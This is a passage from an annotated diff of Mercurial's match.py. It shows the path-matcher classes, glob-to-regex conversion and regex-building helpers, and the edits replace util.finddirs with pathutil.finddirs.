557 556 ... (b'glob', b'*.h', b''),
558 557 ... ]
559 558 >>> m = patternmatcher(b'foo', kindpats)
560 559 >>> m(b'main.c') # matches re:.*\.c$
561 560 True
562 561 >>> m(b'b.txt')
563 562 False
564 563 >>> m(b'foo/a') # matches path:foo/a
565 564 True
566 565 >>> m(b'a') # does not match path:b, since 'root' is 'foo'
567 566 False
568 567 >>> m(b'b') # matches relpath:b, since 'root' is 'foo'
569 568 True
570 569 >>> m(b'lib.h') # matches glob:*.h
571 570 True
572 571
573 572 >>> m.files()
574 573 ['', 'foo/a', 'b', '']
575 574 >>> m.exact(b'foo/a')
576 575 True
577 576 >>> m.exact(b'b')
578 577 True
579 578 >>> m.exact(b'lib.h') # exact matches are for (rel)path kinds
580 579 False
581 580 """
582 581
583 582 def __init__(self, root, kindpats, badfn=None):
584 583 super(patternmatcher, self).__init__(badfn)
585 584
586 585 self._files = _explicitfiles(kindpats)
587 586 self._prefix = _prefix(kindpats)
588 587 self._pats, self.matchfn = _buildmatch(kindpats, b'$', root)
589 588
590 589 @propertycache
591 590 def _dirs(self):
592 591 return set(pathutil.dirs(self._fileset))
593 592
594 593 def visitdir(self, dir):
595 594 if self._prefix and dir in self._fileset:
596 595 return b'all'
597 596 return (
598 597 dir in self._fileset
599 598 or dir in self._dirs
600 599 or any(
601 parentdir in self._fileset for parentdir in util.finddirs(dir)
600 parentdir in self._fileset
601 for parentdir in pathutil.finddirs(dir)
602 602 )
603 603 )
604 604
605 605 def visitchildrenset(self, dir):
606 606 ret = self.visitdir(dir)
607 607 if ret is True:
608 608 return b'this'
609 609 elif not ret:
610 610 return set()
611 611 assert ret == b'all'
612 612 return b'all'
613 613
614 614 def prefix(self):
615 615 return self._prefix
616 616
617 617 @encoding.strmethod
618 618 def __repr__(self):
619 619 return b'<patternmatcher patterns=%r>' % pycompat.bytestr(self._pats)
620 620
621 621
622 622 # This is basically a reimplementation of pathutil.dirs that stores the
623 623 # children instead of just a count of them, plus a small optional optimization
624 624 # to avoid some directories we don't need.
625 625 class _dirchildren(object):
626 626 def __init__(self, paths, onlyinclude=None):
627 627 self._dirs = {}
628 628 self._onlyinclude = onlyinclude or []
629 629 addpath = self.addpath
630 630 for f in paths:
631 631 addpath(f)
632 632
633 633 def addpath(self, path):
634 634 if path == b'':
635 635 return
636 636 dirs = self._dirs
637 637 findsplitdirs = _dirchildren._findsplitdirs
638 638 for d, b in findsplitdirs(path):
639 639 if d not in self._onlyinclude:
640 640 continue
641 641 dirs.setdefault(d, set()).add(b)
642 642
643 643 @staticmethod
644 644 def _findsplitdirs(path):
645 645 # yields (dirname, basename) tuples, walking back to the root. This is
646 # very similar to util.finddirs, except:
646 # very similar to pathutil.finddirs, except:
647 647 # - produces a (dirname, basename) tuple, not just 'dirname'
648 648 # Unlike manifest._splittopdir, this does not suffix `dirname` with a
649 649 # slash.
650 650 oldpos = len(path)
651 651 pos = path.rfind(b'/')
652 652 while pos != -1:
653 653 yield path[:pos], path[pos + 1 : oldpos]
654 654 oldpos = pos
655 655 pos = path.rfind(b'/', 0, pos)
656 656 yield b'', path[:oldpos]
657 657
658 658 def get(self, path):
659 659 return self._dirs.get(path, set())
660 660
661 661
662 662 class includematcher(basematcher):
663 663 def __init__(self, root, kindpats, badfn=None):
664 664 super(includematcher, self).__init__(badfn)
665 665
666 666 self._pats, self.matchfn = _buildmatch(kindpats, b'(?:/|$)', root)
667 667 self._prefix = _prefix(kindpats)
668 668 roots, dirs, parents = _rootsdirsandparents(kindpats)
669 669 # roots are directories which are recursively included.
670 670 self._roots = set(roots)
671 671 # dirs are directories which are non-recursively included.
672 672 self._dirs = set(dirs)
673 673 # parents are directories which are non-recursively included because
674 674 # they are needed to get to items in _dirs or _roots.
675 675 self._parents = parents
676 676
677 677 def visitdir(self, dir):
678 678 if self._prefix and dir in self._roots:
679 679 return b'all'
680 680 return (
681 681 dir in self._roots
682 682 or dir in self._dirs
683 683 or dir in self._parents
684 or any(parentdir in self._roots for parentdir in util.finddirs(dir))
684 or any(
685 parentdir in self._roots for parentdir in pathutil.finddirs(dir)
686 )
685 687 )
686 688
687 689 @propertycache
688 690 def _allparentschildren(self):
689 691 # It may seem odd that we add dirs, roots, and parents, and then
690 692 # restrict to only parents. This is to catch the case of:
691 693 # dirs = ['foo/bar']
692 694 # parents = ['foo']
693 695 # if we asked for the children of 'foo', but had only added
694 696 # self._parents, we wouldn't be able to respond ['bar'].
695 697 return _dirchildren(
696 698 itertools.chain(self._dirs, self._roots, self._parents),
697 699 onlyinclude=self._parents,
698 700 )
699 701
700 702 def visitchildrenset(self, dir):
701 703 if self._prefix and dir in self._roots:
702 704 return b'all'
703 705 # Note: this does *not* include the 'dir in self._parents' case from
704 706 # visitdir, that's handled below.
705 707 if (
706 708 b'' in self._roots
707 709 or dir in self._roots
708 710 or dir in self._dirs
709 or any(parentdir in self._roots for parentdir in util.finddirs(dir))
711 or any(
712 parentdir in self._roots for parentdir in pathutil.finddirs(dir)
713 )
710 714 ):
711 715 return b'this'
712 716
713 717 if dir in self._parents:
714 718 return self._allparentschildren.get(dir) or set()
715 719 return set()
716 720
717 721 @encoding.strmethod
718 722 def __repr__(self):
719 723 return b'<includematcher includes=%r>' % pycompat.bytestr(self._pats)
720 724
721 725
722 726 class exactmatcher(basematcher):
723 727 r'''Matches the input files exactly. They are interpreted as paths, not
724 728 patterns (so no kind-prefixes).
725 729
726 730 >>> m = exactmatcher([b'a.txt', br're:.*\.c$'])
727 731 >>> m(b'a.txt')
728 732 True
729 733 >>> m(b'b.txt')
730 734 False
731 735
732 736 Input files that would be matched are exactly those returned by .files()
733 737 >>> m.files()
734 738 ['a.txt', 're:.*\\.c$']
735 739
736 740 So pattern 're:.*\.c$' is not considered as a regex, but as a file name
737 741 >>> m(b'main.c')
738 742 False
739 743 >>> m(br're:.*\.c$')
740 744 True
741 745 '''
742 746
743 747 def __init__(self, files, badfn=None):
744 748 super(exactmatcher, self).__init__(badfn)
745 749
746 750 if isinstance(files, list):
747 751 self._files = files
748 752 else:
749 753 self._files = list(files)
750 754
751 755 matchfn = basematcher.exact
752 756
753 757 @propertycache
754 758 def _dirs(self):
755 759 return set(pathutil.dirs(self._fileset))
756 760
757 761 def visitdir(self, dir):
758 762 return dir in self._dirs
759 763
760 764 def visitchildrenset(self, dir):
761 765 if not self._fileset or dir not in self._dirs:
762 766 return set()
763 767
764 768 candidates = self._fileset | self._dirs - {b''}
765 769 if dir != b'':
766 770 d = dir + b'/'
767 771 candidates = set(c[len(d) :] for c in candidates if c.startswith(d))
768 772 # self._dirs includes all of the directories, recursively, so if
769 773 # we're attempting to match foo/bar/baz.txt, it'll have '', 'foo',
770 774 # 'foo/bar' in it. Thus we can safely ignore a candidate that has a
771 775 # '/' in it, indicating a it's for a subdir-of-a-subdir; the
772 776 # immediate subdir will be in there without a slash.
773 777 ret = {c for c in candidates if b'/' not in c}
774 778 # We really do not expect ret to be empty, since that would imply that
775 779 # there's something in _dirs that didn't have a file in _fileset.
776 780 assert ret
777 781 return ret
778 782
779 783 def isexact(self):
780 784 return True
781 785
782 786 @encoding.strmethod
783 787 def __repr__(self):
784 788 return b'<exactmatcher files=%r>' % self._files
785 789
786 790
787 791 class differencematcher(basematcher):
788 792 '''Composes two matchers by matching if the first matches and the second
789 793 does not.
790 794
791 795 The second matcher's non-matching-attributes (bad, explicitdir,
792 796 traversedir) are ignored.
793 797 '''
794 798
795 799 def __init__(self, m1, m2):
796 800 super(differencematcher, self).__init__()
797 801 self._m1 = m1
798 802 self._m2 = m2
799 803 self.bad = m1.bad
800 804 self.explicitdir = m1.explicitdir
801 805 self.traversedir = m1.traversedir
802 806
803 807 def matchfn(self, f):
804 808 return self._m1(f) and not self._m2(f)
805 809
806 810 @propertycache
807 811 def _files(self):
808 812 if self.isexact():
809 813 return [f for f in self._m1.files() if self(f)]
810 814 # If m1 is not an exact matcher, we can't easily figure out the set of
811 815 # files, because its files() are not always files. For example, if
812 816 # m1 is "path:dir" and m2 is "rootfileins:.", we don't
813 817 # want to remove "dir" from the set even though it would match m2,
814 818 # because the "dir" in m1 may not be a file.
815 819 return self._m1.files()
816 820
817 821 def visitdir(self, dir):
818 822 if self._m2.visitdir(dir) == b'all':
819 823 return False
820 824 elif not self._m2.visitdir(dir):
821 825 # m2 does not match dir, we can return 'all' here if possible
822 826 return self._m1.visitdir(dir)
823 827 return bool(self._m1.visitdir(dir))
824 828
825 829 def visitchildrenset(self, dir):
826 830 m2_set = self._m2.visitchildrenset(dir)
827 831 if m2_set == b'all':
828 832 return set()
829 833 m1_set = self._m1.visitchildrenset(dir)
830 834 # Possible values for m1: 'all', 'this', set(...), set()
831 835 # Possible values for m2: 'this', set(...), set()
832 836 # If m2 has nothing under here that we care about, return m1, even if
833 837 # it's 'all'. This is a change in behavior from visitdir, which would
834 838 # return True, not 'all', for some reason.
835 839 if not m2_set:
836 840 return m1_set
837 841 if m1_set in [b'all', b'this']:
838 842 # Never return 'all' here if m2_set is any kind of non-empty (either
839 843 # 'this' or set(foo)), since m2 might return set() for a
840 844 # subdirectory.
841 845 return b'this'
842 846 # Possible values for m1: set(...), set()
843 847 # Possible values for m2: 'this', set(...)
844 848 # We ignore m2's set results. They're possibly incorrect:
845 849 # m1 = path:dir/subdir, m2=rootfilesin:dir, visitchildrenset(''):
846 850 # m1 returns {'dir'}, m2 returns {'dir'}, if we subtracted we'd
847 851 # return set(), which is *not* correct, we still need to visit 'dir'!
848 852 return m1_set
849 853
850 854 def isexact(self):
851 855 return self._m1.isexact()
852 856
853 857 @encoding.strmethod
854 858 def __repr__(self):
855 859 return b'<differencematcher m1=%r, m2=%r>' % (self._m1, self._m2)
856 860
857 861
858 862 def intersectmatchers(m1, m2):
859 863 '''Composes two matchers by matching if both of them match.
860 864
861 865 The second matcher's non-matching-attributes (bad, explicitdir,
862 866 traversedir) are ignored.
863 867 '''
864 868 if m1 is None or m2 is None:
865 869 return m1 or m2
866 870 if m1.always():
867 871 m = copy.copy(m2)
868 872 # TODO: Consider encapsulating these things in a class so there's only
869 873 # one thing to copy from m1.
870 874 m.bad = m1.bad
871 875 m.explicitdir = m1.explicitdir
872 876 m.traversedir = m1.traversedir
873 877 return m
874 878 if m2.always():
875 879 m = copy.copy(m1)
876 880 return m
877 881 return intersectionmatcher(m1, m2)
878 882
879 883
880 884 class intersectionmatcher(basematcher):
881 885 def __init__(self, m1, m2):
882 886 super(intersectionmatcher, self).__init__()
883 887 self._m1 = m1
884 888 self._m2 = m2
885 889 self.bad = m1.bad
886 890 self.explicitdir = m1.explicitdir
887 891 self.traversedir = m1.traversedir
888 892
889 893 @propertycache
890 894 def _files(self):
891 895 if self.isexact():
892 896 m1, m2 = self._m1, self._m2
893 897 if not m1.isexact():
894 898 m1, m2 = m2, m1
895 899 return [f for f in m1.files() if m2(f)]
896 900 # It neither m1 nor m2 is an exact matcher, we can't easily intersect
897 901 # the set of files, because their files() are not always files. For
898 902 # example, if intersecting a matcher "-I glob:foo.txt" with matcher of
899 903 # "path:dir2", we don't want to remove "dir2" from the set.
900 904 return self._m1.files() + self._m2.files()
901 905
902 906 def matchfn(self, f):
903 907 return self._m1(f) and self._m2(f)
904 908
905 909 def visitdir(self, dir):
906 910 visit1 = self._m1.visitdir(dir)
907 911 if visit1 == b'all':
908 912 return self._m2.visitdir(dir)
909 913 # bool() because visit1=True + visit2='all' should not be 'all'
910 914 return bool(visit1 and self._m2.visitdir(dir))
911 915
912 916 def visitchildrenset(self, dir):
913 917 m1_set = self._m1.visitchildrenset(dir)
914 918 if not m1_set:
915 919 return set()
916 920 m2_set = self._m2.visitchildrenset(dir)
917 921 if not m2_set:
918 922 return set()
919 923
920 924 if m1_set == b'all':
921 925 return m2_set
922 926 elif m2_set == b'all':
923 927 return m1_set
924 928
925 929 if m1_set == b'this' or m2_set == b'this':
926 930 return b'this'
927 931
928 932 assert isinstance(m1_set, set) and isinstance(m2_set, set)
929 933 return m1_set.intersection(m2_set)
930 934
931 935 def always(self):
932 936 return self._m1.always() and self._m2.always()
933 937
934 938 def isexact(self):
935 939 return self._m1.isexact() or self._m2.isexact()
936 940
937 941 @encoding.strmethod
938 942 def __repr__(self):
939 943 return b'<intersectionmatcher m1=%r, m2=%r>' % (self._m1, self._m2)
940 944
941 945
942 946 class subdirmatcher(basematcher):
943 947 """Adapt a matcher to work on a subdirectory only.
944 948
945 949 The paths are remapped to remove/insert the path as needed:
946 950
947 951 >>> from . import pycompat
948 952 >>> m1 = match(b'root', b'', [b'a.txt', b'sub/b.txt'])
949 953 >>> m2 = subdirmatcher(b'sub', m1)
950 954 >>> m2(b'a.txt')
951 955 False
952 956 >>> m2(b'b.txt')
953 957 True
954 958 >>> m2.matchfn(b'a.txt')
955 959 False
956 960 >>> m2.matchfn(b'b.txt')
957 961 True
958 962 >>> m2.files()
959 963 ['b.txt']
960 964 >>> m2.exact(b'b.txt')
961 965 True
962 966 >>> def bad(f, msg):
963 967 ... print(pycompat.sysstr(b"%s: %s" % (f, msg)))
964 968 >>> m1.bad = bad
965 969 >>> m2.bad(b'x.txt', b'No such file')
966 970 sub/x.txt: No such file
967 971 """
968 972
969 973 def __init__(self, path, matcher):
970 974 super(subdirmatcher, self).__init__()
971 975 self._path = path
972 976 self._matcher = matcher
973 977 self._always = matcher.always()
974 978
975 979 self._files = [
976 980 f[len(path) + 1 :]
977 981 for f in matcher._files
978 982 if f.startswith(path + b"/")
979 983 ]
980 984
981 985 # If the parent repo had a path to this subrepo and the matcher is
982 986 # a prefix matcher, this submatcher always matches.
983 987 if matcher.prefix():
984 988 self._always = any(f == path for f in matcher._files)
985 989
986 990 def bad(self, f, msg):
987 991 self._matcher.bad(self._path + b"/" + f, msg)
988 992
989 993 def matchfn(self, f):
990 994 # Some information is lost in the superclass's constructor, so we
991 995 # can not accurately create the matching function for the subdirectory
992 996 # from the inputs. Instead, we override matchfn() and visitdir() to
993 997 # call the original matcher with the subdirectory path prepended.
994 998 return self._matcher.matchfn(self._path + b"/" + f)
995 999
996 1000 def visitdir(self, dir):
997 1001 if dir == b'':
998 1002 dir = self._path
999 1003 else:
1000 1004 dir = self._path + b"/" + dir
1001 1005 return self._matcher.visitdir(dir)
1002 1006
1003 1007 def visitchildrenset(self, dir):
1004 1008 if dir == b'':
1005 1009 dir = self._path
1006 1010 else:
1007 1011 dir = self._path + b"/" + dir
1008 1012 return self._matcher.visitchildrenset(dir)
1009 1013
1010 1014 def always(self):
1011 1015 return self._always
1012 1016
1013 1017 def prefix(self):
1014 1018 return self._matcher.prefix() and not self._always
1015 1019
1016 1020 @encoding.strmethod
1017 1021 def __repr__(self):
1018 1022 return b'<subdirmatcher path=%r, matcher=%r>' % (
1019 1023 self._path,
1020 1024 self._matcher,
1021 1025 )
1022 1026
1023 1027
1024 1028 class prefixdirmatcher(basematcher):
1025 1029 """Adapt a matcher to work on a parent directory.
1026 1030
1027 1031 The matcher's non-matching-attributes (bad, explicitdir, traversedir) are
1028 1032 ignored.
1029 1033
1030 1034 The prefix path should usually be the relative path from the root of
1031 1035 this matcher to the root of the wrapped matcher.
1032 1036
1033 1037 >>> m1 = match(util.localpath(b'root/d/e'), b'f', [b'../a.txt', b'b.txt'])
1034 1038 >>> m2 = prefixdirmatcher(b'd/e', m1)
1035 1039 >>> m2(b'a.txt')
1036 1040 False
1037 1041 >>> m2(b'd/e/a.txt')
1038 1042 True
1039 1043 >>> m2(b'd/e/b.txt')
1040 1044 False
1041 1045 >>> m2.files()
1042 1046 ['d/e/a.txt', 'd/e/f/b.txt']
1043 1047 >>> m2.exact(b'd/e/a.txt')
1044 1048 True
1045 1049 >>> m2.visitdir(b'd')
1046 1050 True
1047 1051 >>> m2.visitdir(b'd/e')
1048 1052 True
1049 1053 >>> m2.visitdir(b'd/e/f')
1050 1054 True
1051 1055 >>> m2.visitdir(b'd/e/g')
1052 1056 False
1053 1057 >>> m2.visitdir(b'd/ef')
1054 1058 False
1055 1059 """
1056 1060
1057 1061 def __init__(self, path, matcher, badfn=None):
1058 1062 super(prefixdirmatcher, self).__init__(badfn)
1059 1063 if not path:
1060 1064 raise error.ProgrammingError(b'prefix path must not be empty')
1061 1065 self._path = path
1062 1066 self._pathprefix = path + b'/'
1063 1067 self._matcher = matcher
1064 1068
1065 1069 @propertycache
1066 1070 def _files(self):
1067 1071 return [self._pathprefix + f for f in self._matcher._files]
1068 1072
1069 1073 def matchfn(self, f):
1070 1074 if not f.startswith(self._pathprefix):
1071 1075 return False
1072 1076 return self._matcher.matchfn(f[len(self._pathprefix) :])
1073 1077
1074 1078 @propertycache
1075 1079 def _pathdirs(self):
1076 return set(util.finddirs(self._path))
1080 return set(pathutil.finddirs(self._path))
1077 1081
1078 1082 def visitdir(self, dir):
1079 1083 if dir == self._path:
1080 1084 return self._matcher.visitdir(b'')
1081 1085 if dir.startswith(self._pathprefix):
1082 1086 return self._matcher.visitdir(dir[len(self._pathprefix) :])
1083 1087 return dir in self._pathdirs
1084 1088
1085 1089 def visitchildrenset(self, dir):
1086 1090 if dir == self._path:
1087 1091 return self._matcher.visitchildrenset(b'')
1088 1092 if dir.startswith(self._pathprefix):
1089 1093 return self._matcher.visitchildrenset(dir[len(self._pathprefix) :])
1090 1094 if dir in self._pathdirs:
1091 1095 return b'this'
1092 1096 return set()
1093 1097
1094 1098 def isexact(self):
1095 1099 return self._matcher.isexact()
1096 1100
1097 1101 def prefix(self):
1098 1102 return self._matcher.prefix()
1099 1103
1100 1104 @encoding.strmethod
1101 1105 def __repr__(self):
1102 1106 return b'<prefixdirmatcher path=%r, matcher=%r>' % (
1103 1107 pycompat.bytestr(self._path),
1104 1108 self._matcher,
1105 1109 )
1106 1110
1107 1111
1108 1112 class unionmatcher(basematcher):
1109 1113 """A matcher that is the union of several matchers.
1110 1114
1111 1115 The non-matching-attributes (bad, explicitdir, traversedir) are taken from
1112 1116 the first matcher.
1113 1117 """
1114 1118
1115 1119 def __init__(self, matchers):
1116 1120 m1 = matchers[0]
1117 1121 super(unionmatcher, self).__init__()
1118 1122 self.explicitdir = m1.explicitdir
1119 1123 self.traversedir = m1.traversedir
1120 1124 self._matchers = matchers
1121 1125
1122 1126 def matchfn(self, f):
1123 1127 for match in self._matchers:
1124 1128 if match(f):
1125 1129 return True
1126 1130 return False
1127 1131
1128 1132 def visitdir(self, dir):
1129 1133 r = False
1130 1134 for m in self._matchers:
1131 1135 v = m.visitdir(dir)
1132 1136 if v == b'all':
1133 1137 return v
1134 1138 r |= v
1135 1139 return r
1136 1140
1137 1141 def visitchildrenset(self, dir):
1138 1142 r = set()
1139 1143 this = False
1140 1144 for m in self._matchers:
1141 1145 v = m.visitchildrenset(dir)
1142 1146 if not v:
1143 1147 continue
1144 1148 if v == b'all':
1145 1149 return v
1146 1150 if this or v == b'this':
1147 1151 this = True
1148 1152 # don't break, we might have an 'all' in here.
1149 1153 continue
1150 1154 assert isinstance(v, set)
1151 1155 r = r.union(v)
1152 1156 if this:
1153 1157 return b'this'
1154 1158 return r
1155 1159
1156 1160 @encoding.strmethod
1157 1161 def __repr__(self):
1158 1162 return b'<unionmatcher matchers=%r>' % self._matchers
1159 1163
1160 1164
1161 1165 def patkind(pattern, default=None):
1162 1166 '''If pattern is 'kind:pat' with a known kind, return kind.
1163 1167
1164 1168 >>> patkind(br're:.*\.c$')
1165 1169 're'
1166 1170 >>> patkind(b'glob:*.c')
1167 1171 'glob'
1168 1172 >>> patkind(b'relpath:test.py')
1169 1173 'relpath'
1170 1174 >>> patkind(b'main.py')
1171 1175 >>> patkind(b'main.py', default=b're')
1172 1176 're'
1173 1177 '''
1174 1178 return _patsplit(pattern, default)[0]
1175 1179
1176 1180
1177 1181 def _patsplit(pattern, default):
1178 1182 """Split a string into the optional pattern kind prefix and the actual
1179 1183 pattern."""
1180 1184 if b':' in pattern:
1181 1185 kind, pat = pattern.split(b':', 1)
1182 1186 if kind in allpatternkinds:
1183 1187 return kind, pat
1184 1188 return default, pattern
1185 1189
1186 1190
1187 1191 def _globre(pat):
1188 1192 r'''Convert an extended glob string to a regexp string.
1189 1193
1190 1194 >>> from . import pycompat
1191 1195 >>> def bprint(s):
1192 1196 ... print(pycompat.sysstr(s))
1193 1197 >>> bprint(_globre(br'?'))
1194 1198 .
1195 1199 >>> bprint(_globre(br'*'))
1196 1200 [^/]*
1197 1201 >>> bprint(_globre(br'**'))
1198 1202 .*
1199 1203 >>> bprint(_globre(br'**/a'))
1200 1204 (?:.*/)?a
1201 1205 >>> bprint(_globre(br'a/**/b'))
1202 1206 a/(?:.*/)?b
1203 1207 >>> bprint(_globre(br'[a*?!^][^b][!c]'))
1204 1208 [a*?!^][\^b][^c]
1205 1209 >>> bprint(_globre(br'{a,b}'))
1206 1210 (?:a|b)
1207 1211 >>> bprint(_globre(br'.\*\?'))
1208 1212 \.\*\?
1209 1213 '''
1210 1214 i, n = 0, len(pat)
1211 1215 res = b''
1212 1216 group = 0
1213 1217 escape = util.stringutil.regexbytesescapemap.get
1214 1218
1215 1219 def peek():
1216 1220 return i < n and pat[i : i + 1]
1217 1221
1218 1222 while i < n:
1219 1223 c = pat[i : i + 1]
1220 1224 i += 1
1221 1225 if c not in b'*?[{},\\':
1222 1226 res += escape(c, c)
1223 1227 elif c == b'*':
1224 1228 if peek() == b'*':
1225 1229 i += 1
1226 1230 if peek() == b'/':
1227 1231 i += 1
1228 1232 res += b'(?:.*/)?'
1229 1233 else:
1230 1234 res += b'.*'
1231 1235 else:
1232 1236 res += b'[^/]*'
1233 1237 elif c == b'?':
1234 1238 res += b'.'
1235 1239 elif c == b'[':
1236 1240 j = i
1237 1241 if j < n and pat[j : j + 1] in b'!]':
1238 1242 j += 1
1239 1243 while j < n and pat[j : j + 1] != b']':
1240 1244 j += 1
1241 1245 if j >= n:
1242 1246 res += b'\\['
1243 1247 else:
1244 1248 stuff = pat[i:j].replace(b'\\', b'\\\\')
1245 1249 i = j + 1
1246 1250 if stuff[0:1] == b'!':
1247 1251 stuff = b'^' + stuff[1:]
1248 1252 elif stuff[0:1] == b'^':
1249 1253 stuff = b'\\' + stuff
1250 1254 res = b'%s[%s]' % (res, stuff)
1251 1255 elif c == b'{':
1252 1256 group += 1
1253 1257 res += b'(?:'
1254 1258 elif c == b'}' and group:
1255 1259 res += b')'
1256 1260 group -= 1
1257 1261 elif c == b',' and group:
1258 1262 res += b'|'
1259 1263 elif c == b'\\':
1260 1264 p = peek()
1261 1265 if p:
1262 1266 i += 1
1263 1267 res += escape(p, p)
1264 1268 else:
1265 1269 res += escape(c, c)
1266 1270 else:
1267 1271 res += escape(c, c)
1268 1272 return res
1269 1273
1270 1274
1271 1275 def _regex(kind, pat, globsuffix):
1272 1276 '''Convert a (normalized) pattern of any kind into a
1273 1277 regular expression.
1274 1278 globsuffix is appended to the regexp of globs.'''
1275 1279
1276 1280 if rustmod is not None:
1277 1281 try:
1278 1282 return rustmod.build_single_regex(kind, pat, globsuffix)
1279 1283 except rustmod.PatternError:
1280 1284 raise error.ProgrammingError(
1281 1285 b'not a regex pattern: %s:%s' % (kind, pat)
1282 1286 )
1283 1287
1284 1288 if not pat and kind in (b'glob', b'relpath'):
1285 1289 return b''
1286 1290 if kind == b're':
1287 1291 return pat
1288 1292 if kind in (b'path', b'relpath'):
1289 1293 if pat == b'.':
1290 1294 return b''
1291 1295 return util.stringutil.reescape(pat) + b'(?:/|$)'
1292 1296 if kind == b'rootfilesin':
1293 1297 if pat == b'.':
1294 1298 escaped = b''
1295 1299 else:
1296 1300 # Pattern is a directory name.
1297 1301 escaped = util.stringutil.reescape(pat) + b'/'
1298 1302 # Anything after the pattern must be a non-directory.
1299 1303 return escaped + b'[^/]+$'
1300 1304 if kind == b'relglob':
1301 1305 globre = _globre(pat)
1302 1306 if globre.startswith(b'[^/]*'):
1303 1307 # When pat has the form *XYZ (common), make the returned regex more
1304 1308 # legible by returning the regex for **XYZ instead of **/*XYZ.
1305 1309 return b'.*' + globre[len(b'[^/]*') :] + globsuffix
1306 1310 return b'(?:|.*/)' + globre + globsuffix
1307 1311 if kind == b'relre':
1308 1312 if pat.startswith(b'^'):
1309 1313 return pat
1310 1314 return b'.*' + pat
1311 1315 if kind in (b'glob', b'rootglob'):
1312 1316 return _globre(pat) + globsuffix
1313 1317 raise error.ProgrammingError(b'not a regex pattern: %s:%s' % (kind, pat))
1314 1318
1315 1319
1316 1320 def _buildmatch(kindpats, globsuffix, root):
1317 1321 '''Return regexp string and a matcher function for kindpats.
1318 1322 globsuffix is appended to the regexp of globs.'''
1319 1323 matchfuncs = []
1320 1324
1321 1325 subincludes, kindpats = _expandsubinclude(kindpats, root)
1322 1326 if subincludes:
1323 1327 submatchers = {}
1324 1328
1325 1329 def matchsubinclude(f):
1326 1330 for prefix, matcherargs in subincludes:
1327 1331 if f.startswith(prefix):
1328 1332 mf = submatchers.get(prefix)
1329 1333 if mf is None:
1330 1334 mf = match(*matcherargs)
1331 1335 submatchers[prefix] = mf
1332 1336
1333 1337 if mf(f[len(prefix) :]):
1334 1338 return True
1335 1339 return False
1336 1340
1337 1341 matchfuncs.append(matchsubinclude)
1338 1342
1339 1343 regex = b''
1340 1344 if kindpats:
1341 1345 if all(k == b'rootfilesin' for k, p, s in kindpats):
1342 1346 dirs = {p for k, p, s in kindpats}
1343 1347
1344 1348 def mf(f):
1345 1349 i = f.rfind(b'/')
1346 1350 if i >= 0:
1347 1351 dir = f[:i]
1348 1352 else:
1349 1353 dir = b'.'
1350 1354 return dir in dirs
1351 1355
1352 1356 regex = b'rootfilesin: %s' % stringutil.pprint(list(sorted(dirs)))
1353 1357 matchfuncs.append(mf)
1354 1358 else:
1355 1359 regex, mf = _buildregexmatch(kindpats, globsuffix)
1356 1360 matchfuncs.append(mf)
1357 1361
1358 1362 if len(matchfuncs) == 1:
1359 1363 return regex, matchfuncs[0]
1360 1364 else:
1361 1365 return regex, lambda f: any(mf(f) for mf in matchfuncs)
1362 1366
1363 1367
1364 1368 MAX_RE_SIZE = 20000
1365 1369
1366 1370
1367 1371 def _joinregexes(regexps):
1368 1372 """gather multiple regular expressions into a single one"""
1369 1373 return b'|'.join(regexps)
1370 1374
1371 1375
1372 1376 def _buildregexmatch(kindpats, globsuffix):
1373 1377 """Build a match function from a list of kinds and kindpats,
1374 1378 return regexp string and a matcher function.
1375 1379
1376 1380 Test too large input
1377 1381 >>> _buildregexmatch([
1378 1382 ... (b'relglob', b'?' * MAX_RE_SIZE, b'')
1379 1383 ... ], b'$')
1380 1384 Traceback (most recent call last):
1381 1385 ...
1382 1386 Abort: matcher pattern is too long (20009 bytes)
1383 1387 """
1384 1388 try:
1385 1389 allgroups = []
1386 1390 regexps = [_regex(k, p, globsuffix) for (k, p, s) in kindpats]
1387 1391 fullregexp = _joinregexes(regexps)
1388 1392
1389 1393 startidx = 0
1390 1394 groupsize = 0
1391 1395 for idx, r in enumerate(regexps):
1392 1396 piecesize = len(r)
1393 1397 if piecesize > MAX_RE_SIZE:
1394 1398 msg = _(b"matcher pattern is too long (%d bytes)") % piecesize
1395 1399 raise error.Abort(msg)
1396 1400 elif (groupsize + piecesize) > MAX_RE_SIZE:
1397 1401 group = regexps[startidx:idx]
1398 1402 allgroups.append(_joinregexes(group))
1399 1403 startidx = idx
1400 1404 groupsize = 0
1401 1405 groupsize += piecesize + 1
1402 1406
1403 1407 if startidx == 0:
1404 1408 matcher = _rematcher(fullregexp)
1405 1409 func = lambda s: bool(matcher(s))
1406 1410 else:
1407 1411 group = regexps[startidx:]
1408 1412 allgroups.append(_joinregexes(group))
1409 1413 allmatchers = [_rematcher(g) for g in allgroups]
1410 1414 func = lambda s: any(m(s) for m in allmatchers)
1411 1415 return fullregexp, func
1412 1416 except re.error:
1413 1417 for k, p, s in kindpats:
1414 1418 try:
1415 1419 _rematcher(_regex(k, p, globsuffix))
1416 1420 except re.error:
1417 1421 if s:
1418 1422 raise error.Abort(
1419 1423 _(b"%s: invalid pattern (%s): %s") % (s, k, p)
1420 1424 )
1421 1425 else:
1422 1426 raise error.Abort(_(b"invalid pattern (%s): %s") % (k, p))
1423 1427 raise error.Abort(_(b"invalid pattern"))
1424 1428
1425 1429
1426 1430 def _patternrootsanddirs(kindpats):
1427 1431 '''Returns roots and directories corresponding to each pattern.
1428 1432
1429 1433 This calculates the roots and directories exactly matching the patterns and
1430 1434 returns a tuple of (roots, dirs) for each. It does not return other
1431 1435 directories which may also need to be considered, like the parent
1432 1436 directories.
1433 1437 '''
1434 1438 r = []
1435 1439 d = []
1436 1440 for kind, pat, source in kindpats:
1437 1441 if kind in (b'glob', b'rootglob'): # find the non-glob prefix
1438 1442 root = []
1439 1443 for p in pat.split(b'/'):
1440 1444 if b'[' in p or b'{' in p or b'*' in p or b'?' in p:
1441 1445 break
1442 1446 root.append(p)
1443 1447 r.append(b'/'.join(root))
1444 1448 elif kind in (b'relpath', b'path'):
1445 1449 if pat == b'.':
1446 1450 pat = b''
1447 1451 r.append(pat)
1448 1452 elif kind in (b'rootfilesin',):
1449 1453 if pat == b'.':
1450 1454 pat = b''
1451 1455 d.append(pat)
1452 1456 else: # relglob, re, relre
1453 1457 r.append(b'')
1454 1458 return r, d
1455 1459
1456 1460
1457 1461 def _roots(kindpats):
1458 1462 '''Returns root directories to match recursively from the given patterns.'''
1459 1463 roots, dirs = _patternrootsanddirs(kindpats)
1460 1464 return roots
1461 1465
1462 1466
1463 1467 def _rootsdirsandparents(kindpats):
1464 1468 '''Returns roots and exact directories from patterns.
1465 1469
1466 1470 `roots` are directories to match recursively, `dirs` should
1467 1471 be matched non-recursively, and `parents` are the implicitly required
1468 1472 directories to walk to items in either roots or dirs.
1469 1473
